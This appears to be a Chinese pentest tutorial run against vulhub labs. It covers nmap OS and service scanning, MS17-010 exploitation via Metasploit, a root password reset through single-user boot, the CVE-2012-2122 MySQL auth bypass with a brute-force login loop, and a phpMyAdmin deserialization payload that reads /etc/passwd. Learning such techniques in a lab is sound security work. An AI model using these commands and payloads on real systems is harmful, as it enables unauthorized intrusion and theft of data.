注:数据库漏洞比较少,一般都是弱口令漏洞。
第三方类似于pc安装的第三方软件,也可以作为我们的突破口。
识别操作系统常见方法:
若有url则可以通过windows中url不区分大小写,而linux是区分大小写
或者可通过ping,ip地址的ttl来通过不同的ttl,来判断不同的操作系统。
在者可以通过nmap,命令为
nmap -O 47.75.212.155
也可以判断操作系统。不同的操作系统,方法不同。
MS17010,是系统远程代码执行。这个漏洞不需要前提条件,可以远程获取电脑的权限,属于高危漏洞。还有一些漏洞, 不和权限挂钩,这种的就很安全了。
网站分为动态和静态,大部分是动态的,少部分是静态网站。(没有通过代码来实现交互和传递)
如何识别一个数据库,识别方式可以通过网站来识别。
例如ASP可以有哪些数据库ACESS
PHP有哪些数据库MYSQL
ASPX mysql
jsp + mssql,oracle
python mongodb
每个脚本都会有推荐的数据库。
每个数据库,开启的时候,会有一个默认的开启端口。可以通过nmap扫描来观察。
这里通过nmap -O 47.75.212.155
扫描之后
可以看到,通过端口号,就能判断开启的什么数据库
这里状态,filtered代码这个端口是有的,但是通讯的时候出现问题。
phpadmin,teamview等等
软件有很多,但是要获取有用的软件的权限,判定第三方,需要通过多个方法来判断。
nmap -O -sV 127.0.0.1 可以看到对应扫描的服务器上面,软件版本
比如说有的网站,可能默认会有ph在这里插入图片描述
phpmyadmin,而且默认密码和用户都是这个的话,就是一个弱口令漏洞。
当以网站,没有网站,或者其他第三方app的,那么看有没有服务(邮件等)
当对方主机端口是开方的,那么可以尝试使用MS17010,进行木马攻击,这要对方开放这个端口号,就可以用这个方法来攻击,这个的前提条件较低。这样,可以直接攻击到这个服务器的。
首先开启msfconsole
首先进入到目录中,搜索ms17
利用该漏洞
设置payload
还需要要设置本机ip地址,目标ip地址,run运行
这个漏洞,前提条件是对方开机,漏洞端口打开即可,攻击结果是可以得到对方的命令行窗口
之后,我们就能得到shell窗口,之后在ifconfig,那么得到命令行界面
数据库访问
开启vulhub靶场环境
之后使用nmap -sV -O ip扫描数据库即相应的端口号。
发现数据库的版本是这些,那么我们就可以使用msfconsole,进行漏洞攻击。
③光标定位在图四的位置在“ro quiet splash”输入“init=/bin/bash”,并将“ro”修改成“rw"
④ 修改确认无误之后,按“F10”或者“Ctrl+C”“Ctrl+X”即可进入单用户模式
passwd 用户名,这边修改的是root,所以输入“passwd root”,然后回车就可以输入新密码了,一共输入两次,密码不显示出来,输入完之后有,回车就完事了!重启即可
数据库靶场:首先要启动靶场,将对应的靶场启动环境。
Mysql 身份认证绕过漏洞(CVE-2012-2122)
漏洞描述:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
参考链接:
http://www.freebuf.com/vuls/3815.html
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。
使用nmap扫描目标主机
nmap -sV -O 192.168.131.135
可以看到目标主机开启mysql和对应的版本号,刚好是5.5.23,存在漏洞
我们启动msfconsole
通过search mysql,找到对应的漏洞模块
这里首先是使用该漏洞
show options 可以看到对应的配置,需要设置哪些参数,都是默认值
set threads 100 线程数
set rhosts 192.168.1.108 目标主机
run 运行
这里可以得到mysql的链接,和创建了一个登陆后门文件
另一个方法
这里seq是产生1到1000的数字,do mysql的uroot和pwrong是密码尝试,执行成功后,会直接进入mysql窗口。
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
可以通过select version();
或者select user();
查看当前数据库版本,和当前数据库的用户,在结束的地方一定要加;因为,sql语句是以引号结束的。
sql的一些操作基本上是通过select查询的。
注:这里sudo docker-compose down只对当前文件夹下面的docker容器生效。
不同漏洞层面会产生不同的问题。不同漏洞,利用方法,原理都有问题。安全测试,大部分都是漏洞,根据一些漏洞,导致入侵问题。nmap最好安装命令行版本,因为图像化界面有些问题。
其他的端口扫描(这个的话端口扫描速度特别快)
https://github.com/hellogoldsnakeman/masnmapscan-V1.0
例2
漏洞描述:
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
执行如下命令启动phpmyadmin:
docker-compose up -d
环境启动后,访问http://your-ip:8080,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。
下面是开启后的页面
访问的方法如下,其中上面是路径,"{s:6:“source”,s:11:"/etc/passwd";}",这里面后面是路径,前面s:11是后面字符串内的长度。
返回的结果如下,这是访问passwd里面的内容
进入到docker中,发现和上面读取的结果是相同的
下面命令的作用是,将内容1写入到1.txt文本文件中
可以看到结果如下
这里/etc/1.txt共10个字符的长度,所以我们需要将s:10改成10,这样再次点击执行,我们可以看到结果如上,那个1是返回的结果。